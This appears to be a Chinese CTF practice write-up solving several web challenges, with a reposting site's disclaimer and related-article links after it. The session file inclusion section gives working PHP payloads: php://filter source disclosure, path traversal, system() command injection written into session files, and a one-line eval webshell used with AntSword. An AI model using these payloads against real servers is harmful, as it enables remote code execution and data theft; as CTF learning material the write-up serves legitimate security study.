目录

十六.签到题

十七.签到

十八.session文件包含

PHP 伪协议(PHP Stream Wrappers)

base64加解密获取源代码

Session文件包含

name=

name=

Shell 是什么?

十九.Don't touch me

二十.robots

robots.txt 


十六.签到题

didi=no改成didi=yes 

得到一串字符串

Li9kYXRhL2luZGV4LnBocA

base64在线解码网站解码得到./data/index.php

访问/data/index.php得到

 /data/index.php?file=php://filter/convert.base64-encode/resource=..././..././..././..././flag

base64解码

flag{92eb5ffee6ae2fec3ad71c777531578f}

十七.签到

发现有个按钮按不了

F12(右键点击检查),把disabled="disabled" 删除,回车

随便提交个东西试试

这时候弹出一个弹窗告诉我们提交 ilovejljcxy 就能得到flag了
但是提交的时候发现只能输入就个字母

查看源代码

 长度限制maxlength="9" 对用户的输入进行了限制,用户最多只能输入 9 个字符

把9改成11以上就行

输入后再次提交,弹出flag

flag{fa3f77dd58a0a8f990bb6292da75618f}

十八.session文件包含

我觉得这题老难了 

先随便输入一个1,然后submit看看

先看知识点

PHP 伪协议(PHP Stream Wrappers)

是 PHP 提供的一组特殊协议前缀,允许通过类似 URL 的方式访问和操作不同类型的资源(如文件、数据流、网络等)。它们无需额外安装,直接内置于 PHP 中,常用于简化对非传统文件系统的操作。

示例:使用 php://filter 读取文件并编码

假设我们有一个文件 secrets.txt,内容如下:

# secrets.txt
数据库密码:123456
API 密钥:abcdefghijklmnopqrstuvwxyz

需求:读取该文件内容,并以 Base64 编码形式输出。

方法 1:传统方式(需手动编码)

<?php
// 读取文件内容
$content = file_get_contents('secrets.txt');
// 手动 Base64 编码
$encoded = base64_encode($content);
echo $encoded;
?>

方法 2:使用伪协议(自动编码)

<?php
// 使用 php://filter 伪协议直接获取编码后的内容
$encoded = file_get_contents('php://filter/convert.base64-encode/resource=secrets.txt');
echo $encoded;
?>

解码验证

将上述 Base64 字符串复制到 Base64 解码器,得到原始内容:

# secrets.txt数据库密码:123456
API 密钥:abcdefghijklmnopqrstuvwxyz

为什么要用base64加密再解密嘞?

看下面知识点:


base64加解密获取源代码

php://filter/convert.base64-encode/resource=目标文件路径


在利用 PHP 伪协议读取文件时,使用 Base64 编码而非直接读取的主要原因是绕过 PHP 解释器对代码的执行,并确保文件内容完整传输。

以下是详细示例:

1. 直接读取的问题:PHP 会执行代码

假设 action.php 包含以下内容:

<?php
// action.php
echo "Hello from PHP!";
$password = "secret123";
?>

如果直接通过文件包含漏洞读取(例如 ?file=action.php),PHP 解释器会执行代码而非返回源码:

  • 输出结果Hello from PHP!
  • 源码丢失$password = "secret123"; 等代码不会显示,攻击者无法获取敏感信息。

2. Base64 编码的作用:获取完整源码

使用 php://filter/convert.base64-encode 后:

  • 输出结果
    PD9waHANCg8Ly8gYWN0aW9uLnBocA0KZWNobyAiSGVsbG8gZnJvbSBIUEgiOw0KJHBhc3N3b3JkID0gInNlY3JldDEyMyI7DQo/Pg==
    
  • 解码后
    <?php
    // action.php
    echo "Hello from PHP!";
    $password = "secret123";
    ?>
    

核心原理
Base64 编码将 PHP 代码(如 <?php ... ?>)转换为纯文本字符串,PHP 解释器会将其视为普通文本而非可执行代码,从而完整保留源码内容。

 所以我们用php伪协议查看action.php的源代码

访问  /action.php?file=php://filter/convert.base64-encode/resource=action.php

得到源码


PD9waHANCnNlc3Npb25fc3RhcnQoKTsNCmVycm9yX3JlcG9ydGluZygwKTsNCiRuYW1lID0gJF9QT1NUWyduYW1lJ107DQppZigkbmFtZSl7DQoJJF9TRVNTSU9OWyJ1c2VybmFtZSJdID0gJG5hbWU7DQp9DQppbmNsdWRlKCRfR0VUWydmaWxlJ10pOw0KPz4NCjwhRE9DVFlQRSBodG1sPg0KPGh0bWw+DQo8aGVhZD4NCjwvaGVhZD4NCjxib2R5Pg0KPGEgaHJlZj1hY3Rpb24ucGhwP2ZpbGU9MS50eHQ+bXkgZGFpcnk8L2E+DQo8YSBocmVmPWFjdGlvbi5waHA/ZmlsZT0yLnR4dD5teSBib29rbGlzdDwvYT4NCjwvYm9keT4NCjwvaHRtbD4=

Base64 编码/解码 - 锤子在线工具解码查看源代码

<?php
session_start();
error_reporting(0);
$name = $_POST['name'];
if($name){$_SESSION["username"] = $name;
}
include($_GET['file']);
?>
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<a href=action.php?file=1.txt>my dairy</a>
<a href=action.php?file=2.txt>my booklist</a>
</body>
</html>

开始分析源代码

这段 PHP 代码实现了一个简单的会话管理和文件包含功能。当用户通过 POST 方法提交表单时,脚本会将用户名存入会话变量$_SESSION["username"]中。页面提供了两个链接,分别指向1.txt2.txt文件,用户点击后,脚本会通过include语句动态加载并执行 URL 参数file指定的文件内容。然而,该代码存在严重的安全隐患,因未过滤file参数存在目录遍历 / 远程文件包含漏洞,且未处理name参数导致 PHP 代码注入攻击

知识点

Session文件包含

是一种常见的安全漏洞,它允许攻击者通过包含恶意代码的Session文件来执行代码。

利用Session文件包含的条件

要利用Session文件包含漏洞,需要满足两个条件:

  1. Session文件的内容可控,即攻击者可以通过某种方式将恶意代码写入Session文件中。

  2. 能够获取Session文件的路径,这样才能通过文件包含函数来执行Session文件中的代码。

条件1可以通过name实现,条件2这题只能靠猜

在默认配置下,PHP 的 session 文件存储位置通常存放在 /tmp 目录,文件名格式为 sess_<sessionid>

 <sessionid>可以在cookie里看

因此直接访问

/action.php/?file=/tmp/sess_khhpgb61isvcak15o84n6e8sl7

哎哎,有反应,进入session文件了

接下来有2个方法拿到flag


 方法一:PHP 代码注入攻击

用post请求发送   name=<?php system('ls');?>  (没反应的话多点几次Execute刷新一下)

没看到flag文件,加个/进入根目录查看

/:根目录,表示整个文件系统的顶层。

name=<?php system('ls /');?>

这时看到了flaggggg文件,查看该文件

name=<?php system('sort /flaggggg ');?>
name=<?php system('cat /flaggggg ');?>
name=<?php system('tac /flaggggg ');?>

 参数解析:

1. sort 命令的作用

sort 是 Linux/Unix 系统中的命令,用于对文本内容进行排序并输出结果。常见用法:

  • 对文件内容按行排序:sort filename
  • 去重并排序:sort -u filename
  • 逆序排序:sort -r filename

2./flaggggg 指根目录下名为 flaggggg 的文件。

这时就有个问题了:为什么要进入session文件后再用PHP 代码注入攻击

要理解为什么需要进入 session 文件后才能使用name=<?php system('ls /');?>,需要结合session 文件的特性文件包含漏洞的利用逻辑,具体原因如下:

1. name=<?php ... ?> 是向 session 文件写入代码的操作

name=<?php system('ls /');?> 本质是通过 HTTP 请求(通常是 POST/GET)向服务器的session 文件中写入一段 PHP 代码(这里是执行系统命令的system('ls /'))。

  • 当用户在页面输入name参数并提交时,服务器会将该参数的值存储到当前用户的 session 文件中(session 文件的命名规则为sess_+sessionid,如sess_khhpgb61isvcak15o84n6e8sl7)。
  • 这段代码本身不会直接执行,而是作为字符串被暂时存储在 session 文件中。

2. session 文件是代码执行的 "载体"

要让<?php system('ls /');?>这段代码生效(即执行ls /命令),需要通过文件包含漏洞让服务器解析并执行 session 文件中的内容。

  • 漏洞场景中,服务器存在?file=xxx形式的文件包含漏洞(如[web]session文件包含考点),即通过file参数可以让服务器读取并解析指定文件中的 PHP 代码。
  • 但服务器不会主动解析任意文件,只有当通过?file=session文件路径(如?file=/tmp/sess_iicon09s8aj9rhenj3rn6lhqj2)指定包含 session 文件时,服务器才会读取该文件内容,并将其中的 PHP 代码(即之前写入的system('ls /'))当作脚本执行。

3. 不进入 session 文件则无法触发代码执行

如果不通过文件包含漏洞 "进入"(即包含)session 文件,那么:

  • 写入的<?php system('ls /');?>只是 session 文件中存储的一段普通字符串,不会被服务器解析为 PHP 代码,自然无法执行命令。
  • 只有当利用文件包含漏洞指定加载该 session 文件(即?file=session文件路径),服务器才会将文件内容作为 PHP 脚本处理,此时其中的system('ls /')才会被执行。

总结

name=<?php system('ls /');?>的作用是向 session 文件写入可执行的 PHP 代码,而必须 "进入"(包含)session 文件,才能让服务器解析这段代码并执行命令。二者结合利用了session 的存储机制文件包含漏洞的解析特性,最终实现命令执行。

方法二 :传木马连蚁剑

关于session文件包含,指的是有时Web系统会把我们的一些变量写入session文件,我们可以借此机制将PHP木马写入PHP文件中,然后使用文件包含来包含该session文件,以此获取目标系统的shell权限。
这种攻击方式的好处在于,可以利用保存在session中的数据;这种攻击方式的前提在于我们可以准确的找到session文件的存储目录。

发送POST请求(多点几次Execute刷新一下)

name=<?php @eval($_POST['a']);?> 

蚁剑连接shell 

知识点

Shell 是什么?

Shell 是一种允许用户与操作系统交互的程序,也指攻击者通过漏洞获得的远程执行权限。在渗透测试中,通常分为两种:

  • WebShell
    攻击者上传到目标服务器的脚本文件(如 PHP、ASPX、JSP),通过 HTTP 请求执行系统命令。
    示例(PHP WebShell)

    <?php system($_GET['cmd']); ?>  // 接收URL参数cmd并执行系统命令
    

     

    访问方式:http://target.com/shell.php?cmd=ls

  • 反弹 Shell
    目标服务器主动连接攻击者的主机,建立交互式命令行会话(如 Linux 的 bash、Windows 的 cmd)。

连接成功,寻找flag

 

flag{43306e8113f53ece238c0a124432ce19}

十九.Don't touch me

这题也很简单

方法一:
F12(右键查看源码)可以看到:

访问/2.php

可以看到这有个按钮,却点不了

F12(右键检查),把disabled="disabled"都删了,回车,点击按钮

可以看到最后有fla.php,访问/fla.php,得到flag

方法二:

直接用目录扫描工具扫出来

flag{0cee5a97f12b172ceeea2e9f67b7413e}


二十.robots

这题非常简单 

robots.txt 

是一个位于网站根目录下的纯文本文件,用于告诉搜索引擎爬虫(如 Googlebot、百度蜘蛛等)哪些页面可以抓取,哪些页面不应该抓取,是网站与搜索引擎之间的 “协议”。

直接访问/robots.txt就行

发现有个文件/fl0g.php,访问得到flag

flag{2f37589152daf6f111b232ef4aea1304}

 Day6:

今天练了一个靶机,对于我这个新手小白来说还是挺难的,看讲解视频都看了老半天

累了......还有一题明天再写

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/news/913636.shtml
繁体地址,请注明出处:http://hk.pswp.cn/news/913636.shtml
英文地址,请注明出处:http://en.pswp.cn/news/913636.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

数据结构*搜索树

什么是搜索树 搜索树是一种树形数据结构&#xff0c;用于高效地存储和检索数据。其核心特点是每个节点包含一个键&#xff08;Key&#xff09;&#xff0c;并遵循特定的排序规则。常见的搜索树有二叉搜索树、自平衡二叉树、多叉搜索树等。AVL树、红黑树、Splay树都属于自平衡二…

语音交互新纪元:Hugging Face LeRobot如何让机器人真正“懂你”

机器人之言&#xff1a;早在2024年&#xff0c;Hugging Face正式进军真实世界机器人应用领域&#xff0c;推出了开源机器人项目LeRobot。LeRobot不仅仅是一个模型库&#xff0c;它是一个完整的机器人学习平台&#xff0c;融合了模仿学习、强化学习、数据可视化以及仿真环境。其…

搭建个人博客系列--MySql

前期提要&#xff1a;搭建个人博客系列--docker-CSDN博客 目前已经拥有了docker所以只需要将MySql安装在docker上即可。 一、在docker安装mysql docker pull mysql 二、查询docker内的mysql镜像 三、启动msql docker run -d -p 33060:3306 -v /home/mysql/conf:/mysql/conf.d…

【Spring】Spring Boot + OAuth2 + JWT + Gateway的完整落地方案,包含认证流程设计

Spring Boot OAuth2 JWT Gateway的完整落地方案&#xff0c;包含认证流程设计网关在服务中的使用一、整体架构设计二、核心组件实现1. OAuth2认证服务器&#xff08;auth-service&#xff09;2. JWT自定义增强&#xff08;存储用户信息&#xff09;三、Gateway全局拦截&…

第一个小程序

一、前言随着移动互联网的发展&#xff0c;用户对“即用即走”的轻量级应用需求日益增长&#xff0c;而传统 App 在下载安装、更新维护等方面存在一定的门槛。小程序应运而生&#xff0c;它是一种无需下载即可使用的应用程序形态。本文将带你完成人生中第一个微信小程序的开发全…

【办公类-54-07】20250901 2025学年第一学期班级点名册模版(双休国定假涂成灰色、修改标题和页眉,批量导出PDF)

背景需求: 制作了校历单后,第二个要制作的就是点名册(灰色版) 【办公类-54-03】20240828班级点名册模版(双休国定假涂成灰色)2024学年第一学期_姓名周一到周五的点名册怎么画-CSDN博客文章浏览阅读2.1k次,点赞24次,收藏4次。【办公类-54-03】20240828班级点名册模版(…

iOS App首次启动请求异常调试:一次冷启动链路抓包与初始化流程修复

在一次 iOS App 大版本更新后&#xff0c;部分用户反馈首次打开 App 时会出现“无法连接服务器”的提示&#xff0c;需要重启 App 才能正常使用。而后续使用过程中接口调用都正常。服务器端并未记录请求到达&#xff0c;日志中只有 sporadic&#xff08;零星&#xff09;断连记…

【Linux网络篇】:网络中的其他重要协议或技术——DNS,ICMP协议,NAT技术等

✨感谢您阅读本篇文章&#xff0c;文章内容是个人学习笔记的整理&#xff0c;如果哪里有误的话还请您指正噢✨ ✨ 个人主页&#xff1a;余辉zmh–CSDN博客 ✨ 文章所属专栏&#xff1a;Linux篇–CSDN博客 文章目录其他重要协议或技术1.DNS2.ICMP协议3.NAT技术4.代理服务器其他重…

HarmonyOS学习4 --- 创建一个页面

1、声明式UI语法Entry Component struct My_page {State isLogin: boolean falsebuild() {Row() {Image(this.isLogin ? $r(app.media.icon_leon) : $r(app.media.icon)).height(60).width(60).onClick(() > {this.isLogin !this.isLogin})Text(this.isLogin ? $r(app.s…

【Java EE】Spring MVC 的使用

1. 路由映射&#xff1a;RequestMapping&#xff1a;当用户访问某个 URL 时&#xff0c;该注解会根据 URL 的路径映射到具体的程序中对应的类或方法&#xff08;路由映射&#xff09;。修饰方法时&#xff0c;路径为类路径 方法路径。默认情况下同时支持 GET 和 POST&#xff…

pip 安装默认切换到国内镜像(清华园,阿里云等)

国内Python包镜像地址如下&#xff1a; 清华&#xff1a;https://pypi.tuna.tsinghua.edu.cn/simple/阿里云&#xff1a;https://mirrors.aliyun.com/pypi/simple/中国科技大学&#xff1a;https://pypi.mirrors.ustc.edu.cn/simple/华为云&#xff1a;https://repo.huaweiclou…

AI agent 学习

参考&#xff1a; AI搜索DeepResearch&#xff1f;_大模型 deepsearch 深度搜索-CSDN博客 Agent是以大语言模型为大脑驱动的系统&#xff0c;具备自主理解、感知、规划、记忆和使用工具的能力&#xff0c;能够自动化执行和完成复杂任务。 自主性和自适应&#xff0c;是判断一款…

【PTA数据结构 | C语言版】求单链表list中的元素个数,即表长

本专栏持续输出数据结构题目集&#xff0c;欢迎订阅。 文章目录题目代码题目 请编写程序&#xff0c;将 n 个整数顺次插入一个初始为空的单链表的表头。最后输出单链表的表长。 本题旨在训练学习者熟悉单链表的基本操作&#xff0c;不建议直接输出 n。 输入格式&#xff1a;…

玩转Docker | 使用Docker部署HomeBox家庭库存管理工具

玩转Docker | 使用Docker部署HomeBox家庭库存管理工具 前言一、HomeBox介绍Homebox简介主要特点主要使用场景二、系统要求环境要求环境检查Docker版本检查检查操作系统版本三、部署HomeBox服务下载HomeBox镜像编辑部署文件创建容器检查容器状态检查服务端口安全设置四、访问Hom…

QT中的常用控件-QWidget的enable属性

QT中的常用控件-QWidget的enable属性 enable描述了一个控件是否处于“可用”状态 与之相对应的概念是“禁用”&#xff0c;禁用是该控件不能接受任何用户的输入事件&#xff0c;并且外观上往往是灰色的 如果一个Widget被禁用&#xff0c;则该Widget的子元素也被禁用API说明IsEn…

【数据结构】复杂度分析

目录 一、算法 1.基本概念 2.描述方法 3.算法效率 二、算法的时间复杂度 三、算法的空间复杂度 一、算法 1.基本概念 通俗的讲&#xff0c;算法是解决问题的方法&#xff0c;比如在现实生活中一道菜谱&#xff0c;一个安装轮椅的操作指南等。 严格的说&#xff0c;算法…

推荐系统基础 --ShusenWang

学习b站up主的ShusenWang的推荐系统笔记 指标 任何系统/算法/模型都需要评估&#xff0c;对于推荐系统的指标有消费指标和北极星指标&#xff0c;消费指标是衡量用户对产品的使用情况&#xff0c;使用频率广度和深度&#xff0c;用于了解用户的使用习惯&#xff0c;北极星指标是…

linux wsl2 docker 镜像复用快速方法

GitHub项目中的devcontainer.json、Dockerfile构建了一个A项目的镜像环境&#xff0c;现在我有一个文件夹&#xff0c;文件夹中只有一个b.py文件&#xff0c;此时我希望使用A项目的环境&#xff0c;如何实现&#xff1f;注意&#xff1a; 建议使用下面的方法2 解决方案&#xf…

(生活比喻-图文并茂)http2.0和http3.0的队头阻塞,http2.0应用层解决,TCP层存在,3.0就是彻底解决,到底怎么理解区别???

说明一下&#xff1a; http属于应用层协议&#xff0c;TCP和udp属于传输层协议 文章目录阶段一&#xff1a;HTTP/1.1 的情况&#xff08;单车道收费站&#xff0c;一次过一辆&#xff09;阶段二&#xff1a;HTTP/2 的情况&#xff08;多车道收费站&#xff0c;但出口只有一条路…

ARM环境openEuler2203sp4上部署19c单机问题-持续更新

问题01、报错如下orcl:/home/oracledb15> export CV_ASSUME_DISTIDRHEL8 orcl:/home/oracledb15> $ORACLE_HOME/runInstaller -applyPSU /soft/37642901 Exception in thread "main" java.lang.UnsatisfiedLinkError: /u01/app/oracle/product/19.0.0/db_1/oui…